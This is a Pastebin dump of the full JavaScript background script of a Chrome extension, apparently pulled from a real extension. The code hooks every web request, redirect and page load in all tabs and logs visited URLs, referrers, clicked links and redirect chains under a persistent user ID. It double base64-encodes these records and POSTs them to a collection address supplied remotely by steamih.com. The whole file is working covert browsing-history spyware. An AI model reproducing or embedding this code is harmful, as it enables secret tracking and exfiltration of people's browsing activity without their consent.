Guest User

Untitled

a guest
Sep 18th, 2017
11,077
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. (()=> {
  2.  
  3.     const enableLog = 0;
  4.     const logLevel = 1;
  5.     const spinTime = 307,
  6.           ver = chrome.runtime.getManifest().version;
  7.  
  8.     function debugLog() {
  9.         if (enableLog === 1){
  10.             console.log.apply(this, arguments);
  11.         }
  12.     }
  13.  
  14.     function debugLogLow(){
  15.         if (logLevel >= 3){
  16.             debugLog.apply(this, arguments);
  17.         }
  18.     }
  19.  
  20.     function generateRandomStr(length){
  21.         function dec2hex (dec) {
  22.             return dec.toString(16);
  23.         }
  24.  
  25.         var arr = new Uint8Array((length || 32) / 2);
  26.         window.crypto.getRandomValues(arr);
  27.         return Array.from(arr).map(dec2hex).join('');
  28.     }
  29.  
  30.     function getPid(){
  31.         const lsk = "b7f93e457145ba19114";
  32.         const storredValue = localStorage.getItem(lsk);
  33.         if(storredValue){
  34.             return storredValue;
  35.         }
  36.         // else
  37.  
  38.         let value = generateRandomStr(27);
  39.         localStorage.setItem(lsk, value);
  40.  
  41.         return value;
  42.     }
  43.  
  44.     function validateUrl(url) {
  45.         if (typeof url === "undefined" || !url){return null;}
  46.         return (url.indexOf("http") === 0 &&
  47.         url.indexOf("://localhost") === -1 &&
  48.         url.indexOf("chrome/newtab") === -1 &&
  49.         url.indexOf("chrome://") === -1) ? url : null;
  50.     }
  51.  
  52.     class Envelope{
  53.         get from() {return this._from;}
  54.         set from(val) {this._from = val;}
  55.  
  56.         get to() {return this._to;}
  57.         set to(val) {this._to = val;}
  58.  
  59.         get referrer() {return this._referrer;}
  60.         set referrer(val) {this._referrer = val;}
  61.  
  62.         get type() {return this._type;}
  63.         set type(val) {this._type = val;}
  64.  
  65.         get chref() {return this._chref;}
  66.         set chref(val) {this._chref = val;}
  67.  
  68.         get ahref() {return this._ahref;}
  69.         set ahref(val) {this._ahref = val;}
  70.  
  71.         get sredirects() {return this._sredirects;}
  72.         set sredirects(val) {this._sredirects = val;}
  73.  
  74.         toObject(){
  75.             return {
  76.                 from: this.from,
  77.                 to: this.to,
  78.                 referrer: this.referrer,
  79.                 type: this.type,
  80.                 chref: this.chref || this.ahref,
  81.                 sredirects: this.sredirects
  82.             };
  83.         }
  84.     }
  85.  
  86.     class EnvelopeBuilder{
  87.         constructor(){
  88.             this._envelope = new Envelope();
  89.         }
  90.  
  91.         setFrom(val){
  92.             this._envelope.from = val;
  93.             return this;
  94.         }
  95.  
  96.         setTo(val){
  97.             this._envelope.to = val;
  98.             return this;
  99.         }
  100.  
  101.         setReferrer(val){
  102.             this._envelope.referrer = val;
  103.             return this;
  104.         }
  105.  
  106.         setType(val){
  107.             this._envelope.type = val;
  108.             return this;
  109.         }
  110.  
  111.         setClickUrl(val){
  112.             this._envelope.chref = val;
  113.             return this;
  114.         }
  115.  
  116.         setAclickUrl(val){
  117.             this._envelope.ahref = val;
  118.             return this;
  119.         }
  120.  
  121.         setRedirects(redirects){
  122.             this._envelope.sredirects = redirects;
  123.             return this;
  124.         }
  125.  
  126.         build(){
  127.             return this._envelope;
  128.         }
  129.     }
  130.  
  131.     const POST_DEFAULTS = {
  132.         md: "21",
  133.         sub: "chrome",
  134.         pid: "",
  135.         ts: Date.now(),
  136.         s: spinTime,
  137.         v: "2",
  138.         ch: 0,
  139.         tmv: ver
  140.     };
  141.     const POST_LOCART =   ["to",  "from", "referrer", "chref", "sredirects"];
  142.     const POST_STANDART = ["q",   "prev", "hreferer", "et",    "sr"];
  143.     const POSTMAN_SETTINGS_DEFAULT = {
  144.         url: "https://steamih.com",
  145.         settings: "/monits",
  146.         method: "POST",
  147.         main: "/box/monit",
  148.         keys: ['o', 'u'],
  149.         enabled: true,
  150.         postHeaders: {
  151.             "Content-type": "application/x-www-form-urlencoded"
  152.         }
  153.     };
  154.  
  155.     class PostMan{
  156.  
  157.         get sendUrl() {return this.settings.sendUrl;}
  158.         set sendUrl(val) {this.settings.sendUrl = val;}
  159.  
  160.         get settings() {return this._settings;}
  161.         set settings(val) {this._settings = val;}
  162.  
  163.         get onRemoteAllowed() {return this._onRemoteAllowed;}
  164.         get onLocalAllowed() {return this._onLocalAllowed();}
  165.         get onLoReAllowed() {return Promise.all([this.onLocalAllowed, this.onRemoteAllowed]);}
  166.         get enabled() {return this.settings.enabled;}
  167.         set enabled(val) {this.settings.enabled = val;}
  168.  
  169.         constructor(){
  170.             this._settings = POSTMAN_SETTINGS_DEFAULT;
  171.             this._allowRemote=()=>{};
  172.             this._onRemoteAllowed = ()=>{
  173.                 if (!this._allowRemote){
  174.                     return Promise.resolve();
  175.                 }
  176.                 return new Promise(resolve=>{
  177.                     this._allowRemote = ()=>{
  178.                         resolve();
  179.                     };
  180.                 });
  181.             };
  182.             this._allowLocal=()=>{};
  183.             this._onLocalAllowed = () => {
  184.                 if (this.enabled){
  185.                     return Promise.resolve();
  186.                 }
  187.                 return new Promise(resolve=>{
  188.                     this._allowLocal = () => {
  189.                         this.enabled = true;
  190.                         resolve();
  191.                     };
  192.                 });
  193.             };
  194.             this._fetchSettings().catch(()=>{console.warn("invalid settings response");});
  195.         }
  196.  
  197.         adjustFormat(src, local, global){
  198.             if (local.length != global.length){
  199.                 throw new Error("Expecting two arrays of the same size.");
  200.             }
  201.             const r = Object.assign({}, POST_DEFAULTS, src);
  202.             r.pid = getPid();
  203.             for (let i = 0, keyLoc=local[i], keyGlob=global[i];
  204.                  i < local.length;
  205.                  i++, keyLoc=local[i], keyGlob=global[i]){
  206.                 r[keyGlob] = r[keyLoc];
  207.                 delete r[keyLoc];
  208.             }
  209.             return r;
  210.         }
  211.  
  212.         _fetchSettings(){
  213.             return new Promise((resolve, reject)=>{
  214.                 this.onLocalAllowed.then(()=>{
  215.                     const setUrl = this.settings.url + this.settings.settings + `?s=${spinTime}&ver${ver}`;
  216.                     this._xhr("GET", setUrl, null).then(data=>{
  217.                         if (typeof data === "string"){
  218.                             if (data.length > 0){
  219.                                 data = JSON.parse(data);
  220.                             }else{
  221.                                 reject();
  222.                             }
  223.                         }
  224.                         if (data && data[this.settings.keys[0]] == 1){
  225.                             this.sendUrl = data[this.settings.keys[1]];
  226.                             this._allowRemote();
  227.                         }else{
  228.                             reject();
  229.                         }
  230.                         resolve(data);
  231.                     });
  232.                 });
  233.             });
  234.         }
  235.  
  236.         _fetch(params){
  237.             const par = Object.assign({}, this._settings, params);
  238.             debugLog("fetching", par);
  239.             return new Promise((resolve)=>{
  240.                 this.onLoReAllowed.then(()=>{
  241.                     this._xhr(par.method, this.sendUrl+par.main, params.data, par.postHeaders);
  242.                 });
  243.             });
  244.         }
  245.  
  246.         _xhr(method, url, data, headers){
  247.             headers = headers || {};
  248.             const xhr = new XMLHttpRequest();
  249.             xhr.open(method, url);
  250.             Object.keys(headers).forEach(key=>{
  251.                 const value = headers[key];
  252.                 xhr.setRequestHeader(key, value);
  253.             });
  254.             return new Promise((resolve, reject)=>{
  255.                 xhr.onreadystatechange = ()=>{
  256.                     if (xhr.readyState === 4){
  257.                         resolve(xhr.response);
  258.                     }
  259.                 };
  260.                 xhr.send(data);
  261.             });
  262.         }
  263.  
  264.         _pack(obj){
  265.             const dat = Object.keys(obj).map(key=>{
  266.                 return this._packVal(key, obj[key]);
  267.             }).join("&").replace(/\&+/g, "&");
  268.             debugLogLow("packed as", dat);
  269.             return ["e",btoa(btoa(dat))].join("=");
  270.         }
  271.  
  272.         _packVal(key, val){
  273.             switch (typeof val){
  274.                 case "number":
  275.                 case "string":
  276.                     return this._packStr(key, val);
  277.                     break;
  278.                 case "object":
  279.                     return this._packObj(key, val);
  280.                     break;
  281.             }
  282.         }
  283.  
  284.         _packStr(key, val){
  285.             return `${key}=${this._packPrimitive(val)}`;
  286.         }
  287.  
  288.         _packPrimitive(val){
  289.             return encodeURIComponent(val);
  290.         }
  291.  
  292.         _packObj(key, val){
  293.             if (val instanceof Array){
  294.                 return this._packArr(key, val);
  295.             }
  296.         }
  297.  
  298.         _packArr(key, val){
  299.             const buff = [""];
  300.             val.forEach(el=>{
  301.                 buff.push(this._packPrimitive(el));
  302.             });
  303.             return buff.join(`&${key}=`);
  304.         }
  305.  
  306.         /**
  307.          *
  308.          * @param {!Envelope} envelope
  309.          */
  310.         deliver(envelope){
  311.             const obj = this.adjustFormat(envelope.toObject(), POST_LOCART, POST_STANDART);
  312.             obj.ts = Date.now();
  313.             debugLog("deliver", obj);
  314.             this._fetch( {
  315.                 data: this._pack(obj)
  316.             } ).then(response=>{});
  317.         }
  318.     }
  319.     const GMan = new PostMan();
  320.  
  321.     class TabListener{
  322.         get tabo() {return this._tabo;}
  323.         set tabo(val) {this._tabo = val;}
  324.  
  325.         get tabId() {return this._tabId;}
  326.         set tabId(val) {this._tabId = val;}
  327.  
  328.         get left() {return this._left;}
  329.         set left(val) {this._left = val;}
  330.  
  331.         get leftFrom() {return this._leftFrom;}
  332.         set leftFrom(val) {this._leftFrom = val;}
  333.  
  334.         get lastButter() {return this._lastButter;}
  335.         set lastButter(val) {this._lastButter = val;}
  336.  
  337.         get globo() {return this._globo;}
  338.         set globo(val) {this._globo = val;}
  339.  
  340.         get chref() {return this._chref;}
  341.         set chref(val) {this._chref = val;}
  342.  
  343.         get ahref() {return this._ahref;}
  344.         set ahref(val) {this._ahref = val;}
  345.  
  346.         get serverRedirects() {return this._sRedirects; }
  347.  
  348.         constructor(tabId){
  349.             if (tabId){
  350.                 this.tabId = tabId;
  351.             }
  352.             this._left = false;
  353.             this._sRedirects = [];
  354.         }
  355.  
  356.         addRedirect(url){
  357.             this.serverRedirects.push(url);
  358.             return this;
  359.         }
  360.  
  361.         clearRedirects(){
  362.             this._sRedirects = [];
  363.         }
  364.  
  365.         onRequest(req, tab){
  366.             debugLogLow(`tab ${this.tabId}`, "request", req);
  367.             switch(req.type){
  368.                 case "xmlhttprequest":
  369.                     if (this.lastButter && tab.url && this.lastButter.url != tab.url) {
  370.                         debugLog(`url changing ajax ${this.tabId}`, "request", req, "tab", tab);
  371.                         GMan.deliver(new EnvelopeBuilder()
  372.                             .setFrom(this.lastButter.url)
  373.                             .setTo(tab.url)
  374.                             .setReferrer(this.lastButter.ref)
  375.                             .setType("ajax")
  376.                             .build()
  377.                         );
  378.                         this.lastButter.url = tab.url;
  379.                     }
  380.                     break;
  381.             }
  382.         }
  383.  
  384.         onPageLoad(message, sender){
  385.             if (sender.frameId !== 0){ return; }
  386.             const butter = message.butter,
  387.                   eb     = new EnvelopeBuilder();
  388.             this.lastButter = butter;
  389.             if (this.left && butter.url === this.leftFrom){
  390.                 debugLog(`tab ${this.tabId}`, "reload");
  391.                 eb.setType("reload");
  392.             }
  393.             debugLog(`tab ${this.tabId}`, "pageLoad", butter);
  394.             this.left = false;
  395.             let from = this.leftFrom ? this.leftFrom : "";
  396.             if (this.globo.activeTab && this.tabId != this.globo.activeTab.id){
  397.                 from = this.globo.activeTab.url;
  398.             }
  399.             eb.setClickUrl(this.globo.chref)
  400.               .setAclickUrl(this.globo.ahref);
  401.             this.globo.thanks();
  402.  
  403.             if (this.serverRedirects && this.serverRedirects.length > 0){
  404.                 eb.setRedirects(this.serverRedirects);
  405.                 this.clearRedirects();
  406.             }
  407.  
  408.             if (validateUrl(butter.url) && validateUrl(from)){
  409.                 GMan.deliver(eb
  410.                     .setFrom(from)
  411.                     .setTo(butter.url)
  412.                     .setReferrer(butter.ref)
  413.                     .build()
  414.                 );
  415.             }
  416.         }
  417.  
  418.         onLeave(message){
  419.             this.left = true;
  420.             this.leftFrom = message.oil.url;
  421.             debugLog(`tab ${this.tabId}`, "leave");
  422.         }
  423.  
  424.         onSRedirect(message){
  425.             this.addRedirect(message.url);
  426.         }
  427.     }
  428.  
  429.     class MasterListener{
  430.         get listeners() {return this._listeners;}
  431.  
  432.         /**
  433.          *
  434.          * @param {!number|string} id
  435.          * @param {!Tab} [tabo]
  436.          * @returns {TabListener}
  437.          */
  438.         getOrCreateListener(id, tabo){
  439.             if (!this.listeners[id]){
  440.                 this.listeners[id] = new TabListener(id);
  441.                 this.listeners[id].globo = this._globo;
  442.             }
  443.             if (tabo && !this.listeners[id].tabo){
  444.                 this.listeners[id].tabo = tabo;
  445.             }
  446.             return this.listeners[id];
  447.         }
  448.  
  449.         constructor(){
  450.             this._listeners = {};
  451.             this._globo = {
  452.                 activeTab: null,
  453.                 chref: null,
  454.                 ahref: null,
  455.                 thanks: function(){
  456.                     this.chref = null;
  457.                     this.ahref = null;
  458.                 }
  459.             };
  460.         }
  461.  
  462.         processPageMessage(message, sender){
  463.             const tab = sender.tab,
  464.                   listener = this.getOrCreateListener(tab.id, tab);
  465.             listener.onPageLoad(message, sender);
  466.         }
  467.  
  468.         processRequestMessage(request, senderTab,activeTab){
  469.             const listener = this.getOrCreateListener(request.tabId);
  470.             listener.onRequest(request, senderTab, activeTab);
  471.         }
  472.  
  473.         processUnpageMessage(message, sender){
  474.             if (sender.frameId === 0) {
  475.                 const listener = this.getOrCreateListener(sender.tab.id);
  476.                 if (listener) {
  477.                     listener.onLeave(message);
  478.                 }
  479.             }
  480.         }
  481.  
  482.         processPageAlive(message, sender){
  483.             debugLogLow("alive", sender.tab.id, sender.tab.url);
  484.             this.getOrCreateListener(sender.tab.id).tabo = sender.tab;
  485.             this._globo.activeTab = sender.tab;
  486.         }
  487.  
  488.         processCHrefUpdate(message, sender){
  489.             this._globo.chref = message.href;
  490.         }
  491.  
  492.         processAHrefUpdate(message, sender){
  493.             this._globo.ahref = message.ahref;
  494.         }
  495.  
  496.         processRedirectMessage(message){
  497.             if (validateUrl(message.url)){
  498.                 this.getOrCreateListener(message.tabId).onSRedirect(message);
  499.             }
  500.         }
  501.     }
  502.  
  503.     const manager = new MasterListener();
  504.  
  505.     chrome.runtime.onMessage.addListener((request, sender, respond)=>{
  506.         if (request){
  507.             if (request.href){
  508.                 manager.processCHrefUpdate(request, sender);
  509.             } else if (request.ahref){
  510.                 manager.processAHrefUpdate(request, sender);
  511.             } else {
  512.                 switch (request.aim){
  513.                     case "promoteButter":
  514.                         manager.processPageMessage(request, sender);
  515.                         break;
  516.                     case "switchToOil":
  517.                         manager.processUnpageMessage(request, sender);
  518.                         break;
  519.                     case "alive":
  520.                         manager.processPageAlive(request, sender);
  521.                         break;
  522.                 }
  523.             }
  524.         }
  525.     });
  526.  
  527.     chrome.webRequest.onCompleted.addListener(e => {
  528.         chrome.tabs.query({active: true, windowId: chrome.windows.WINDOW_ID_CURRENT}, at => {
  529.             chrome.tabs.query({}, st => {
  530.                 let match;
  531.                 for (let i = 0, m; i < st.length; i++){
  532.                     m = st[i];
  533.                     if (m.id == e.tabId){
  534.                         match = m;
  535.                         break;
  536.                     }
  537.                 }
  538.                 const activeTab = at[0],
  539.                       senderTab = match;
  540.                 manager.processRequestMessage(e, senderTab, activeTab);
  541.             });
  542.         });
  543.     }, {urls: ["<all_urls>"]});
  544.  
  545.     chrome.webRequest.onBeforeRedirect.addListener(e => {
  546.         manager.processRedirectMessage(e);
  547.     }, {types: ["main_frame"], urls: ["<all_urls>"]});
  548.  
  549.     chrome.runtime.onMessage.addListener(function(request){
  550.         if (!request || !request.action) return;
  551.         switch(request.action){
  552.             case "share_devdata_on":
  553.                 GMan.enabled = true;
  554.                 break;
  555.             case "share_devdata_off":
  556.                 GMan.enabled = false;
  557.                 break;
  558.         }
  559.     });
  560.  
  561. })();
Add Comment
Please, Sign In to add comment